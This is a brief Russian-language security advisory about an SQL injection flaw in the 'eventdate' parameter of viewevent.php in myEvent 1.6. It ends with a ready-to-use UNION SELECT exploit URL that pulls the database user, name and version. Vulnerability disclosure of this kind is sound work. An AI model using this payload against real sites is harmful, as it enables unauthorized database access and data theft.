Программа: myEvent 1.6

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость
существует из-за недостаточной обработки входных данных в параметре «eventdate»
сценарием viewevent.php. Удаленный пользователь может с помощью специально
сформированного запроса выполнить произвольные SQL команды в базе данных
приложения.

Эксплоит:

/viewevent.php?eventdate=’+union+all+select+1,1,concat(user(),char(32,35),database(),char(32,35),version())/*

Оставить мнение